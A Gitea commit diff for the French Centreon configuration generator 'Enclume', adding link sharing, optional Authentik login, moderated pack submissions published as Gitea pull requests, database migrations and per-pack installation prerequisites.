Partage par lien, comptes Authentik, soumission et moderation de packs, prerequis des sondes ; corrige le lien casse vers le script de l'editeur
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped

This commit is contained in:
hcornet committed 2026-09-10 16:28:26 +02:00
1 parent 3f0046c208
commit b063d59525
34 files changed
+2216 -26

No files matched your search

+19 -1
View File
@@ -17,5 +17,23 @@ CATALOG_SUBDIR=catalog
SYNC_INTERVAL=300
CATALOG_SUBDIR=catalog
# Base de donnees (chantier 2)
# Base de donnees
POSTGRES_PASSWORD=a-remplacer
# Sessions : generer avec openssl rand -hex 32
ENCLUME_SECRET_KEY=a-remplacer
ENCLUME_PARTAGE_JOURS=90
# Connexion optionnelle par Authentik (laisser vide pour un site sans comptes)
ENCLUME_OIDC_METADATA=https://authentik.tips-of-mine.com/application/o/enclume/.well-known/openid-configuration
ENCLUME_OIDC_CLIENT_ID=
ENCLUME_OIDC_CLIENT_SECRET=
ENCLUME_ADMIN_GROUPE=enclume-admins
# Depannage du premier demarrage, avant le mapping de portee "groups" :
ENCLUME_ADMIN_COMPTES=
# Publication des packs acceptes, sous forme de demandes de fusion
ENCLUME_GITEA_URL=https://gitea.tips-of-mine.com
ENCLUME_GITEA_TOKEN=
ENCLUME_GITEA_PROPRIETAIRE=Tips-Of-Mine
ENCLUME_GITEA_DEPOT=Enclume
+5 -1
View File
@@ -40,6 +40,10 @@ COPY --from=build /opt/venv /opt/venv
WORKDIR /app
COPY --chown=root:root enclume/ /app/enclume/
COPY --chown=root:root catalog/ /app/catalog/
COPY --chown=root:root migrations/ /app/migrations/
COPY --chown=root:root alembic.ini /app/alembic.ini
COPY --chown=root:root docker/entrypoint-web.sh /usr/local/bin/entrypoint-web
RUN chmod +x /usr/local/bin/entrypoint-web
USER enclume
EXPOSE 8080
@@ -47,4 +51,4 @@ EXPOSE 8080
HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \
CMD python -c "import urllib.request,sys; sys.exit(0 if urllib.request.urlopen('http://127.0.0.1:8080/sante', timeout=4).status==200 else 1)"
CMD ["sh", "-c", "exec gunicorn --bind 0.0.0.0:8080 --workers ${GUNICORN_WORKERS} --timeout ${GUNICORN_TIMEOUT} --access-logfile - --error-logfile - --forwarded-allow-ips '*' 'enclume.webapp:create_app()'"]
CMD ["/usr/local/bin/entrypoint-web"]
+19 -7
View File
@@ -18,12 +18,20 @@ Projet indépendant, sans lien avec Centreon SAS.
- **Version de Centreon** au niveau du projet : les macros sortent en 3 ou 5 champs selon
la cible.
- **Prérequis d'installation** : un pack peut déclarer ses paquets et ses droits, générés
dans un `prerequis.sh` distinct du CLAPI.
- **Partage par lien**, projets enregistrés et **soumission de packs** quand l'instance est
configurée pour — voir [docs/COMPTES-ET-MODERATION.md](docs/COMPTES-ET-MODERATION.md).
## Ce que le serveur ne fait pas
Le projet vit dans le navigateur du visiteur (`localStorage`), s'exporte en JSON et se
réimporte. Le serveur valide et génère, sans rien conserver. Les macros marquées « mot de
passe » ne sont jamais stockées ni partagées : elles sont vidées avant toute écriture côté
serveur.
Il n'exécute rien. Ni CLAPI, ni prérequis, ni contribution : il écrit des fichiers que
l'utilisateur relit avant de les jouer.
Sans configuration, le projet vit dans le navigateur (`localStorage`), s'exporte en JSON et
se réimporte ; le serveur valide et génère sans rien conserver. Avec une base, le partage et
l'enregistrement deviennent possibles — et les macros marquées « mot de passe » sont vidées
avant toute écriture, quelle qu'elle soit.
## Architecture
@@ -69,6 +77,10 @@ python3 -m enclume.cli --projet mon-projet.json --out ./sortie
| `POST /api/valider` | validation seule |
| `POST /api/generer` | validation et génération des quatre fichiers |
| `POST /telecharger` | archive zip |
| `POST /api/partages` `GET /api/partages/<id>` | partage par lien |
| `GET POST DELETE /api/projets` | projets enregistrés (connexion requise) |
| `POST /api/soumissions/verifier` `POST /api/soumissions` | contribution d'un pack |
| `/api/moderation/...` | file de modération (groupe d'administration) |
| `GET /sante` | version, commit, état du catalogue |
| `POST /recharger` | relecture du catalogue (appelé par `catalog-sync`) |
@@ -101,7 +113,7 @@ compose.dev.yaml développement local
1. Éditeur libre — **fait**
2. Empaquetage Docker, CI, exploitation — **fait**
3. Partage par lien et projets enregistrés (PostgreSQL)
4. Connexion optionnelle via Authentik
5. Soumission de packs et modération, écriture dans Gitea
3. Partage par lien et projets enregistrés — **fait**
4. Connexion optionnelle via Authentik — **fait**
5. Soumission de packs et modération, demandes de fusion Gitea — **fait**
6. Habillage public : page d'accueil, mentions, documentation d'usage
+38
View File
@@ -0,0 +1,38 @@
# Migrations de la base Enclume.
# L'URL n'est pas ecrite ici : elle vient de ENCLUME_DATABASE_URL, lue par env.py.
[alembic]
script_location = migrations
prepend_sys_path = .
[loggers]
keys = root,sqlalchemy,alembic
[handlers]
keys = console
[formatters]
keys = generic
[logger_root]
level = WARN
handlers = console
qualname =
[logger_sqlalchemy]
level = WARN
handlers =
qualname = sqlalchemy.engine
[logger_alembic]
level = INFO
handlers =
qualname = alembic
[handler_console]
class = StreamHandler
args = (sys.stderr,)
level = NOTSET
formatter = generic
[formatter_generic]
format = %(levelname)-5.5s [%(name)s] %(message)s
+9
View File
@@ -13,6 +13,15 @@ host_template:
- {name: MSSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
- {name: MSSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
- {name: MSSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
prerequis:
paquets:
debian: [libdbd-sybase-perl, freetds-bin]
rhel: [perl-DBD-Sybase, freetds]
notes: |
Le plugin passe par FreeTDS. Verifier /etc/freetds/freetds.conf et le
droit VIEW SERVER STATE pour le compte de supervision.
verifications:
- "/usr/lib/centreon/plugins/centreon_mssql.pl --plugin=database::mssql::plugin --list-mode"
services:
- name: Connection-Time
alias: Connection-Time
+10
View File
@@ -13,6 +13,16 @@ host_template:
- {name: MYSQLUSERNAME, value: "centreon", description: "Compte de supervision"}
- {name: MYSQLPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
- {name: MYSQLEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
prerequis:
paquets:
debian: [libdbd-mysql-perl]
rhel: [perl-DBD-MySQL]
notes: |
Creer un compte de supervision en lecture seule sur l'instance :
CREATE USER 'centreon'@'%' IDENTIFIED BY '...';
GRANT REPLICATION CLIENT, PROCESS, SELECT ON *.* TO 'centreon'@'%';
verifications:
- "/usr/lib/centreon/plugins/centreon_mysql.pl --plugin=database::mysql::plugin --list-mode"
services:
- name: Connection-Time
alias: Connection-Time
+7
View File
@@ -14,6 +14,13 @@ host_template:
- {name: ORACLEUSERNAME, value: "centreon", description: "Compte de supervision"}
- {name: ORACLEPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
- {name: ORACLEEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
prerequis:
notes: |
Necessite le client Oracle Instant Client et le module Perl DBD::Oracle,
tous deux absents des depots standards : suivre la procedure Oracle, puis
definir ORACLE_HOME et LD_LIBRARY_PATH pour l'utilisateur centreon-engine.
verifications:
- "/usr/lib/centreon/plugins/centreon_oracle.pl --plugin=database::oracle::plugin --list-mode"
services:
- name: Connection-Time
alias: Connection-Time
+10
View File
@@ -14,6 +14,16 @@ host_template:
- {name: PGPASSWORD, value: "", description: "Mot de passe du compte de supervision", is_password: true}
- {name: PGDATABASE, value: "postgres", description: "Base de connexion"}
- {name: PGEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
prerequis:
paquets:
debian: [libdbd-pg-perl]
rhel: [perl-DBD-Pg]
notes: |
Compte de supervision avec le role pg_monitor :
CREATE ROLE centreon LOGIN PASSWORD '...';
GRANT pg_monitor TO centreon;
verifications:
- "/usr/lib/centreon/plugins/centreon_postgres.pl --plugin=database::postgres::plugin --list-mode"
services:
- name: Connection-Time
alias: Connection-Time
+7
View File
@@ -14,6 +14,13 @@ host_template:
- {name: VMWARECONTAINER, value: "default", description: "Nom du container declare dans le connecteur"}
- {name: VMWAREESXHOSTNAME, value: "", description: "Nom de l'hote ESXi dans le vCenter"}
- {name: VMWAREEXTRAOPTIONS, value: "", description: "Options supplementaires passees au plugin"}
prerequis:
paquets:
debian: [centreon-plugin-virtualization-vmware2-connector-daemon]
rhel: [centreon-plugin-virtualization-vmware2-connector-daemon]
notes: |
Le connecteur Centreon VMware doit tourner et declarer un container
pointant sur le vCenter, avec un compte en lecture seule.
services:
- name: Host-Status
alias: Host-Status
+7
View File
@@ -12,6 +12,13 @@ host_template:
check_command_args: "!3!200,20%!400,50%"
macros:
- {name: NRPEPORT, value: "5666", description: "Port d'ecoute de l'agent NRPE"}
prerequis:
paquets:
debian: [centreon-nrpe3-plugin]
rhel: [centreon-nrpe3-plugin]
notes: |
Cote client supervise : installer l'agent NRPE, declarer l'adresse du
collecteur dans allowed_hosts, et definir les commandes appelees.
services:
- name: Cpu
alias: Cpu
+22 -2
View File
@@ -18,6 +18,26 @@ services:
ENCLUME_CATALOG: /catalogue/actuel
GUNICORN_WORKERS: ${GUNICORN_WORKERS:-2}
TZ: ${TZ:-Europe/Paris}
ENCLUME_URL_PUBLIQUE: https://${ENCLUME_DOMAINE}
# Sessions. Sans cle, elles sont perdues a chaque redemarrage.
ENCLUME_SECRET_KEY: ${ENCLUME_SECRET_KEY:?definir ENCLUME_SECRET_KEY}
# Base : sans elle, ni partage ni comptes, l'editeur fonctionne quand meme.
ENCLUME_DATABASE_URL: postgresql+psycopg://enclume:${POSTGRES_PASSWORD}@db:5432/enclume
ENCLUME_PARTAGE_JOURS: ${ENCLUME_PARTAGE_JOURS:-90}
# Connexion optionnelle, deleguee a Authentik qui federe GitHub et Google.
ENCLUME_OIDC_METADATA: ${ENCLUME_OIDC_METADATA:-}
ENCLUME_OIDC_CLIENT_ID: ${ENCLUME_OIDC_CLIENT_ID:-}
ENCLUME_OIDC_CLIENT_SECRET: ${ENCLUME_OIDC_CLIENT_SECRET:-}
ENCLUME_ADMIN_GROUPE: ${ENCLUME_ADMIN_GROUPE:-enclume-admins}
ENCLUME_ADMIN_COMPTES: ${ENCLUME_ADMIN_COMPTES:-}
# Depot du catalogue : la moderation y ouvre des demandes de fusion.
ENCLUME_GITEA_URL: ${ENCLUME_GITEA_URL:-}
ENCLUME_GITEA_TOKEN: ${ENCLUME_GITEA_TOKEN:-}
ENCLUME_GITEA_PROPRIETAIRE: ${ENCLUME_GITEA_PROPRIETAIRE:-}
ENCLUME_GITEA_DEPOT: ${ENCLUME_GITEA_DEPOT:-}
depends_on:
db:
condition: service_healthy
volumes:
- catalogue:/catalogue:ro
networks: [back_network_enclume, db_network_enclume, traefik_front_network]
@@ -95,8 +115,8 @@ services:
driver: json-file
options: {max-size: "5m", max-file: "2"}
# Utilisee a partir du chantier 2 (liens de partage, projets enregistres).
# L'application fonctionne sans, tant que ENCLUME_DATABASE_URL n'est pas defini.
# Partages, projets enregistres et soumissions de packs.
# L'application demarre sans, tant que ENCLUME_DATABASE_URL n'est pas defini.
db:
image: postgres:16.4-alpine
restart: unless-stopped
+23
View File
@@ -0,0 +1,23 @@
#!/bin/sh
# Demarrage de l'application.
#
# Les migrations tournent avant gunicorn, et un echec arrete le conteneur :
# une base a moitie migree derriere une application qui repond serait pire
# qu'une indisponibilite visible.
set -eu
if [ -n "${ENCLUME_DATABASE_URL:-}" ]; then
echo "enclume : migration de la base"
alembic upgrade head
else
echo "enclume : aucune base configuree, mode sans etat"
fi
exec gunicorn \
--bind 0.0.0.0:8080 \
--workers "${GUNICORN_WORKERS:-2}" \
--timeout "${GUNICORN_TIMEOUT:-30}" \
--access-logfile - \
--error-logfile - \
--forwarded-allow-ips '*' \
'enclume.webapp:create_app()'
+92
View File
@@ -0,0 +1,92 @@
# Comptes, partage et modération
Trois fonctionnalités s'activent indépendamment. Aucune n'est obligatoire : sans base de
données, sans OIDC et sans jeton Gitea, Enclume reste l'éditeur qui génère du CLAPI. C'est
ce qui permet à n'importe qui de l'auto-héberger sans rien configurer.
| Fonction | Ce qu'il faut | Sans ça |
|---|---|---|
| Partage par lien | `ENCLUME_DATABASE_URL` | bouton absent |
| Comptes et projets enregistrés | base + OIDC | site utilisable, sans connexion |
| Soumission de packs | base + OIDC | contributions par pull request uniquement |
| Publication des packs acceptés | jeton Gitea | modération possible, publication non |
`/sante` annonce l'état réel de chacune.
## Authentik
Un seul fournisseur est déclaré côté Enclume. C'est Authentik qui fédère GitHub, Google ou
tout autre fournisseur social : en ajouter un plus tard ne demande aucun redéploiement.
**Créer le fournisseur** — Applications → Fournisseurs → Créer → OAuth2/OpenID.
- Type de client : **Confidentiel**
- URI de redirection, en correspondance stricte : `https://<domaine>/connexion/retour`
- Portées : `openid`, `email`, `profile`
- Noter l'identifiant client et le secret
**Créer l'application** — Applications → Applications → Créer. Le **slug** compte : c'est lui
qui apparaît dans l'URL de découverte.
```
ENCLUME_OIDC_METADATA=https://authentik.<domaine>/application/o/<slug>/.well-known/openid-configuration
ENCLUME_OIDC_CLIENT_ID=...
ENCLUME_OIDC_CLIENT_SECRET=...
```
**Le groupe de modération.** Enclume lit la revendication `groups` du jeton, qu'Authentik
n'envoie pas par défaut. Créer une correspondance de portée (Personnalisation → Property
Mappings → Scope Mapping), nom de portée `groups`, expression :
```python
return {"groups": [group.name for group in request.user.ak_groups.all()]}
```
Puis ajouter cette portée au fournisseur, et créer un groupe `enclume-admins` dont tu es
membre.
Le temps de mettre ça en place, `[email protected]` donne l'accès
à la modération sur la seule foi de l'adresse. À vider ensuite.
## Le jeton Gitea
Un jeton d'accès personnel sur le compte qui ouvrira les demandes de fusion, avec la portée
`write:repository` sur le dépôt du catalogue. Publier un pack accepté crée une branche, y
dépose le fichier YAML et ouvre une pull request — **jamais un push sur la branche
principale**. Tu relis dans Gitea avant de fusionner.
## Ce qui n'est jamais stocké
Les macros marquées « mot de passe » sont vidées avant toute écriture en base : partage,
projet enregistré, soumission. Un site public n'a aucune raison de détenir le mot de passe
MySQL de quelqu'un. L'avertissement affiché au partage le rappelle à l'utilisateur.
## Migrations
Le conteneur `web` exécute `alembic upgrade head` à son démarrage, puis lance gunicorn. Un
échec de migration arrête le conteneur : une base à moitié migrée derrière une application
qui répond serait pire qu'une indisponibilité visible.
**Règle d'écriture des migrations** : on ajoute, on ne retire jamais dans la même version que
le code qui cesse d'utiliser une colonne. La suppression arrive une version plus tard. Sans
cette discipline, revenir à l'image précédente casse l'application — et tout l'intérêt des
tags immuables disparaît.
Sauvegarde avant une montée de version qui touche au schéma :
```bash
docker compose exec -T db pg_dump -U enclume enclume | zstd > enclume-$(date +%F).sql.zst
```
## Les limites en place
| Réglage | Défaut | Rôle |
|---|---|---|
| `ENCLUME_PARTAGE_JOURS` | 90 | expiration des liens |
| `ENCLUME_PROJETS_PAR_COMPTE` | 50 | projets enregistrés par compte |
| `ENCLUME_SOUMISSIONS_PAR_JOUR` | 10 | soumissions par compte et par jour |
| `ENCLUME_TAILLE_MAX_PACK` | 256 ko | taille d'un YAML soumis |
| `ENCLUME_TAILLE_MAX_PROJET` | 2 Mo | taille d'un projet |
Les identifiants de partage font 12 caractères tirés au hasard, soit 72 bits : ils ne
s'énumèrent pas. Les liens expirés sont purgés à chaque nouveau partage.
+155
View File
@@ -0,0 +1,155 @@
"""Connexion optionnelle par OpenID Connect.
Le site reste entierement utilisable sans compte : se connecter n'ajoute que
l'enregistrement de projets cote serveur et la soumission de packs.
Un seul fournisseur est declare, Authentik, qui federe lui-meme GitHub, Google
ou tout autre fournisseur social. L'application n'a donc jamais a connaitre les
identifiants de ces services, ni a etre redeployee quand on en ajoute un.
"""
from __future__ import annotations
import functools
from typing import Any, Callable
from authlib.integrations.flask_client import OAuth
from flask import Blueprint, current_app, jsonify, redirect, request, session, url_for
from .config import Config
from .db import Utilisateur, db, maintenant
oauth = OAuth()
bp = Blueprint("auth", __name__)
def init_app(app) -> None:
oauth.init_app(app)
if not Config.oidc_actif():
return
oauth.register(
name="fournisseur",
client_id=Config.OIDC_CLIENT_ID,
client_secret=Config.OIDC_CLIENT_SECRET,
server_metadata_url=Config.OIDC_METADATA,
client_kwargs={"scope": Config.OIDC_SCOPES},
)
app.register_blueprint(bp)
# --------------------------------------------------------------------------- #
# Etat de la session
# --------------------------------------------------------------------------- #
def utilisateur_courant() -> Utilisateur | None:
identifiant = session.get("utilisateur_id")
if not identifiant or not Config.base_active():
return None
return db.session.get(Utilisateur, identifiant)
def est_administrateur(utilisateur: Utilisateur | None = None) -> bool:
utilisateur = utilisateur or utilisateur_courant()
return bool(utilisateur and utilisateur.administrateur)
def connexion_requise(vue: Callable) -> Callable:
@functools.wraps(vue)
def enveloppe(*args: Any, **kwargs: Any):
if utilisateur_courant() is None:
return jsonify({"erreur": "connexion requise"}), 401
return vue(*args, **kwargs)
return enveloppe
def administration_requise(vue: Callable) -> Callable:
@functools.wraps(vue)
def enveloppe(*args: Any, **kwargs: Any):
utilisateur = utilisateur_courant()
if utilisateur is None:
return jsonify({"erreur": "connexion requise"}), 401
if not utilisateur.administrateur:
return jsonify({"erreur": "reserve a la moderation"}), 403
return vue(*args, **kwargs)
return enveloppe
# --------------------------------------------------------------------------- #
# Parcours de connexion
# --------------------------------------------------------------------------- #
def _destination_sure(brut: str | None) -> str:
"""N'accepte qu'un chemin interne : pas de redirection ouverte."""
if not brut or not brut.startswith("/") or brut.startswith("//"):
return "/"
return brut
@bp.get("/connexion")
def connexion():
session["retour"] = _destination_sure(request.args.get("retour"))
redirection = url_for("auth.retour", _external=True)
if Config.URL_PUBLIQUE:
redirection = f"{Config.URL_PUBLIQUE}{url_for('auth.retour')}"
return oauth.fournisseur.authorize_redirect(redirection)
@bp.get("/connexion/retour")
def retour():
try:
jeton = oauth.fournisseur.authorize_access_token()
except Exception: # noqa: BLE001 - echec d'echange, on renvoie sans detail
current_app.logger.warning("echec de l'echange du jeton OIDC")
return redirect("/?connexion=echec")
revendications = jeton.get("userinfo") or {}
if not revendications:
try:
revendications = oauth.fournisseur.userinfo(token=jeton)
except Exception: # noqa: BLE001
revendications = {}
sujet = str(revendications.get("sub") or "").strip()
if not sujet:
return redirect("/?connexion=echec")
utilisateur = db.session.query(Utilisateur).filter_by(sujet=sujet).one_or_none()
if utilisateur is None:
utilisateur = Utilisateur(sujet=sujet)
db.session.add(utilisateur)
utilisateur.email = str(revendications.get("email") or "")[:320]
utilisateur.nom = str(
revendications.get("name") or revendications.get("preferred_username") or ""
)[:255]
utilisateur.administrateur = _est_admin(revendications)
utilisateur.vu_le = maintenant()
db.session.commit()
session.clear()
session["utilisateur_id"] = utilisateur.id
session.permanent = True
return redirect(_destination_sure(session.pop("retour", "/")))
def _est_admin(revendications: dict) -> bool:
"""Deux voies : appartenance a un groupe, ou liste explicite de comptes.
La seconde existe pour le premier demarrage, avant que le mapping de portee
"groups" ne soit configure cote Authentik.
"""
groupes = revendications.get("groups") or []
if isinstance(groupes, str):
groupes = [groupes]
if Config.ADMIN_GROUPE and Config.ADMIN_GROUPE in groupes:
return True
email = str(revendications.get("email") or "").lower()
return bool(email and email in Config.ADMIN_COMPTES)
@bp.post("/deconnexion")
def deconnexion():
session.clear()
return jsonify({"statut": "deconnecte"})
+2
View File
@@ -98,6 +98,7 @@ class Pack:
status: str
host_template: HostTemplate
services: list[Service]
prerequis: dict[str, Any] = field(default_factory=dict)
source_file: str = ""
@property
@@ -130,6 +131,7 @@ class Pack:
status=str(raw.get("status", "to-verify")),
host_template=HostTemplate.from_dict(raw["host_template"]),
services=[Service.from_dict(s) for s in raw.get("services") or []],
prerequis=raw.get("prerequis") or {},
source_file=source_file,
)
+105
View File
@@ -0,0 +1,105 @@
"""Configuration lue depuis l'environnement.
Toutes les fonctionnalites ajoutees aux chantiers 3 a 5 sont facultatives :
sans base de donnees, sans OIDC et sans jeton Gitea, l'application reste
exactement ce qu'elle etait — un editeur qui genere du CLAPI. C'est ce qui
permet a n'importe qui de l'auto-heberger en trois lignes.
"""
from __future__ import annotations
import os
import secrets
def _bool(nom: str, defaut: bool = False) -> bool:
brut = os.environ.get(nom)
if brut is None:
return defaut
return brut.strip().lower() in {"1", "true", "oui", "yes", "on"}
def _int(nom: str, defaut: int) -> int:
try:
return int(os.environ.get(nom, defaut))
except (TypeError, ValueError):
return defaut
class Config:
# --- Identite du service ------------------------------------------------
VERSION = os.environ.get("ENCLUME_VERSION", "dev")
COMMIT = os.environ.get("ENCLUME_COMMIT", "inconnu")
URL_PUBLIQUE = os.environ.get("ENCLUME_URL_PUBLIQUE", "").rstrip("/")
# --- Sessions -----------------------------------------------------------
# Sans cle fournie, on en tire une au demarrage : les sessions ne survivent
# pas a un redemarrage, ce qui est acceptable en developpement et bruyant
# en production, donc visible.
SECRET_KEY = os.environ.get("ENCLUME_SECRET_KEY") or secrets.token_hex(32)
SECRET_KEY_FOURNIE = bool(os.environ.get("ENCLUME_SECRET_KEY"))
SESSION_COOKIE_NAME = "enclume"
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = "Lax"
SESSION_COOKIE_SECURE = _bool("ENCLUME_COOKIE_SECURE", True)
PERMANENT_SESSION_LIFETIME = _int("ENCLUME_SESSION_JOURS", 30) * 86400
# --- Base de donnees ----------------------------------------------------
SQLALCHEMY_DATABASE_URI = os.environ.get("ENCLUME_DATABASE_URL", "")
SQLALCHEMY_ENGINE_OPTIONS = {"pool_pre_ping": True, "pool_recycle": 1800}
# --- Partage ------------------------------------------------------------
PARTAGE_JOURS = _int("ENCLUME_PARTAGE_JOURS", 90)
PROJETS_PAR_COMPTE = _int("ENCLUME_PROJETS_PAR_COMPTE", 50)
# --- Authentification OIDC (Authentik) ----------------------------------
OIDC_NOM = os.environ.get("ENCLUME_OIDC_NOM", "Authentik")
OIDC_METADATA = os.environ.get("ENCLUME_OIDC_METADATA", "")
OIDC_CLIENT_ID = os.environ.get("ENCLUME_OIDC_CLIENT_ID", "")
OIDC_CLIENT_SECRET = os.environ.get("ENCLUME_OIDC_CLIENT_SECRET", "")
OIDC_SCOPES = os.environ.get("ENCLUME_OIDC_SCOPES", "openid email profile")
# Le groupe qui donne acces a la moderation. Necessite que le fournisseur
# place la revendication "groups" dans le jeton (mapping de portee dedie
# cote Authentik).
ADMIN_GROUPE = os.environ.get("ENCLUME_ADMIN_GROUPE", "enclume-admins")
ADMIN_COMPTES = [
c.strip().lower()
for c in os.environ.get("ENCLUME_ADMIN_COMPTES", "").split(",")
if c.strip()
]
# --- Depot du catalogue, pour les soumissions ---------------------------
GITEA_URL = os.environ.get("ENCLUME_GITEA_URL", "").rstrip("/")
GITEA_TOKEN = os.environ.get("ENCLUME_GITEA_TOKEN", "")
GITEA_PROPRIETAIRE = os.environ.get("ENCLUME_GITEA_PROPRIETAIRE", "")
GITEA_DEPOT = os.environ.get("ENCLUME_GITEA_DEPOT", "")
GITEA_BRANCHE = os.environ.get("ENCLUME_GITEA_BRANCHE", "main")
GITEA_SOUS_DOSSIER = os.environ.get("ENCLUME_GITEA_SOUS_DOSSIER", "catalog")
# --- Limites ------------------------------------------------------------
TAILLE_MAX_PROJET = _int("ENCLUME_TAILLE_MAX_PROJET", 2 * 1024 * 1024)
TAILLE_MAX_PACK = _int("ENCLUME_TAILLE_MAX_PACK", 256 * 1024)
SOUMISSIONS_PAR_JOUR = _int("ENCLUME_SOUMISSIONS_PAR_JOUR", 10)
@classmethod
def base_active(cls) -> bool:
return bool(cls.SQLALCHEMY_DATABASE_URI)
@classmethod
def oidc_actif(cls) -> bool:
return bool(cls.OIDC_METADATA and cls.OIDC_CLIENT_ID and cls.OIDC_CLIENT_SECRET)
@classmethod
def gitea_actif(cls) -> bool:
return bool(cls.GITEA_URL and cls.GITEA_TOKEN and cls.GITEA_PROPRIETAIRE and cls.GITEA_DEPOT)
@classmethod
def etat(cls) -> dict[str, bool]:
"""Ce que le site sait faire, tel qu'annonce a l'interface."""
return {
"comptes": cls.base_active() and cls.oidc_actif(),
"partage": cls.base_active(),
"projets_enregistres": cls.base_active() and cls.oidc_actif(),
"soumissions": cls.base_active() and cls.oidc_actif(),
"publication_gitea": cls.gitea_actif(),
}
+174
View File
@@ -0,0 +1,174 @@
"""Persistance : comptes, projets enregistres, partages, soumissions de packs.
Toutes les tables sont facultatives : sans ENCLUME_DATABASE_URL, rien de tout
cela n'est instancie et l'application fonctionne en mode sans etat.
Regle de migration : on ajoute, on ne retire jamais dans la meme version que le
code qui cesse d'utiliser une colonne. La suppression arrive une version plus
tard, quand le retour arriere n'est plus envisage.
"""
from __future__ import annotations
import secrets
from datetime import datetime, timedelta, timezone
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import (
Boolean,
DateTime,
ForeignKey,
Index,
Integer,
String,
Text,
func,
)
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column, relationship
class Base(DeclarativeBase):
pass
db = SQLAlchemy(model_class=Base)
def maintenant() -> datetime:
return datetime.now(timezone.utc)
def _identifiant_court() -> str:
"""12 caracteres d'alphabet URL, soit 72 bits : non enumerable."""
return secrets.token_urlsafe(9)
class Utilisateur(db.Model):
__tablename__ = "utilisateurs"
id: Mapped[int] = mapped_column(Integer, primary_key=True)
# Identifiant stable du fournisseur OIDC (revendication "sub").
sujet: Mapped[str] = mapped_column(String(255), unique=True, nullable=False)
email: Mapped[str] = mapped_column(String(320), default="")
nom: Mapped[str] = mapped_column(String(255), default="")
administrateur: Mapped[bool] = mapped_column(Boolean, default=False)
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
vu_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
projets: Mapped[list["Projet"]] = relationship(back_populates="proprietaire", cascade="all, delete-orphan")
@property
def affichage(self) -> str:
return self.nom or self.email or f"compte {self.id}"
class Projet(db.Model):
__tablename__ = "projets"
id: Mapped[int] = mapped_column(Integer, primary_key=True)
utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False)
nom: Mapped[str] = mapped_column(String(255), default="Projet sans nom")
contenu: Mapped[str] = mapped_column(Text, nullable=False)
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
maj_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant, onupdate=maintenant)
proprietaire: Mapped[Utilisateur] = relationship(back_populates="projets")
__table_args__ = (Index("ix_projets_utilisateur", "utilisateur_id"),)
def resume(self) -> dict:
return {
"id": self.id,
"nom": self.nom,
"maj_le": self.maj_le.isoformat() if self.maj_le else None,
}
class Partage(db.Model):
__tablename__ = "partages"
id: Mapped[str] = mapped_column(String(32), primary_key=True, default=_identifiant_court)
contenu: Mapped[str] = mapped_column(Text, nullable=False)
nom: Mapped[str] = mapped_column(String(255), default="")
utilisateur_id: Mapped[int | None] = mapped_column(ForeignKey("utilisateurs.id"), nullable=True)
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
expire_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), nullable=False)
vues: Mapped[int] = mapped_column(Integer, default=0)
@classmethod
def creer(cls, contenu: str, nom: str, jours: int, utilisateur_id: int | None = None) -> "Partage":
return cls(
contenu=contenu,
nom=nom[:255],
utilisateur_id=utilisateur_id,
expire_le=maintenant() + timedelta(days=jours),
)
@property
def expire(self) -> bool:
limite = self.expire_le
if limite.tzinfo is None: # SQLite rend des datetimes naifs
limite = limite.replace(tzinfo=timezone.utc)
return limite < maintenant()
class Soumission(db.Model):
__tablename__ = "soumissions"
EN_ATTENTE = "en_attente"
PUBLIEE = "publiee"
REFUSEE = "refusee"
id: Mapped[int] = mapped_column(Integer, primary_key=True)
utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False)
pack_id: Mapped[str] = mapped_column(String(64), nullable=False)
categorie: Mapped[str] = mapped_column(String(32), nullable=False)
nom: Mapped[str] = mapped_column(String(255), default="")
contenu: Mapped[str] = mapped_column(Text, nullable=False) # le YAML soumis
message: Mapped[str] = mapped_column(Text, default="") # mot de l'auteur
statut: Mapped[str] = mapped_column(String(16), default=EN_ATTENTE)
reponse: Mapped[str] = mapped_column(Text, default="") # motif du refus
url_pr: Mapped[str] = mapped_column(String(512), default="")
cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant)
traite_le: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True)
auteur: Mapped[Utilisateur] = relationship()
__table_args__ = (Index("ix_soumissions_statut", "statut"),)
def resume(self, avec_auteur: bool = False) -> dict:
donnees = {
"id": self.id,
"pack_id": self.pack_id,
"categorie": self.categorie,
"nom": self.nom,
"statut": self.statut,
"message": self.message,
"reponse": self.reponse,
"url_pr": self.url_pr,
"cree_le": self.cree_le.isoformat() if self.cree_le else None,
}
if avec_auteur and self.auteur is not None:
donnees["auteur"] = self.auteur.affichage
return donnees
def compter_soumissions_du_jour(utilisateur_id: int) -> int:
depuis = maintenant() - timedelta(days=1)
return (
db.session.query(func.count(Soumission.id))
.filter(Soumission.utilisateur_id == utilisateur_id, Soumission.cree_le >= depuis)
.scalar()
or 0
)
def purger_partages_expires() -> int:
"""Menage opportuniste : appele a la creation d'un partage."""
supprimes = (
db.session.query(Partage)
.filter(Partage.expire_le < maintenant())
.delete(synchronize_session=False)
)
db.session.commit()
return supprimes or 0
+49 -1
View File
